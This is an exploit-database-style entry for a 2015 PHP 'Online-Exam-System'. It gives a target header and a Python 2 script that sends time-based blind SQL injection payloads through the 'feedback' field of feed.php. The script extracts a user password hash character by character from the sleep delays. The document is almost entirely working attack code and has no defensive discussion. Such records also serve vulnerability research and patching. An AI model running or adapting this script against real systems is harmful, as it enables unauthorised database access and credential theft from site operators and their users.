# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A

import requests, string, time
from sys import stdout

URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")

payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','test@test.com','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while True:
  for i in string.digits + string.ascii_lowercase:
    so_far = hash + i
    payload_to_send = payload + str(so_far) + payload2
    data = {"name":"test","email":"test@test.com","subject":"test","feedback":payload_to_send}
    start = time.time()
    r = requests.post(URL + "feed.php", data = data)
    request_time = time.time() - start
    if request_time > 5:
      hash += i
      stdout.write(i)
      stdout.flush()
      break
  if len(hash) > 31:
    stdout.write("\n")
    print "Hash found: " + hash
    break